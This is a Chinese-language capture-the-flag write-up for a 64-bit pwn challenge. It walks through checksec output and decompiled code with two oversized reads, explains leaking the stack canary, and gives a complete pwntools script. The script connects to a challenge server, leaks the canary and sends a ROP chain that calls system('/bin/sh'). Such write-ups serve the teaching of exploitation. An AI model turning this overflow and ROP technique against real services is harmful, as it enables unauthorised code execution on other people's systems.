checksec:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+10h] [rbp-240h]
  char v5; // [rsp+40h] [rbp-210h]
  unsigned __int64 v6; // [rsp+248h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  write(1, "Welcome!\n", 0x10uLL);
  write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
  read(0, &buf, 0x300uLL);
  printf("Hello %s\n", &buf, argv);
  write(1, "Please leave a message(Within 0x200 Length):", 0x2CuLL);
  read(0, &v5, 0x300uLL);
  printf("your message is :%s \nBye~", &v5);
  return 0;
}

有很明显的栈溢出,但是因为开启了保护,无法直接利用,必须要把canary的值泄露出来。

另外,hint()中有个可调用的system函数:

canary的值在rbp-8里:

将canary低位的 ‘\x00’ 给覆盖掉让它泄露出来即可。

sendline()末尾自动添加的换行符把00替换成0a,由于不存在00截断,可以泄露canary。

from pwn import *

elf = ELF('./pwn4_')

local = 0
if local == 1:
    io = process('./pwn4_')
    gdb.attach(io,'b * 0x4008EA')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('114.67.246.176',14415)
    #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

ret = 0x0000000000400611
pop_rdi_ret = 0x0000000000400963
system_addr = 0x40080C
binsh = 0x0000000000601068

payload = 'a'*(0x240-8-len('shawroot'))+'shawroot'
io.recvuntil("36 Length):")
io.sendline(payload)
io.recvuntil("shawroot\n")
canary_addr = u64('\x00'+io.recv(7))
print(hex(canary_addr))

io.recvuntil("0x200 Length):")
payload2 = 'a'*(0x210-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
io.sendline(payload2)

io.interactive()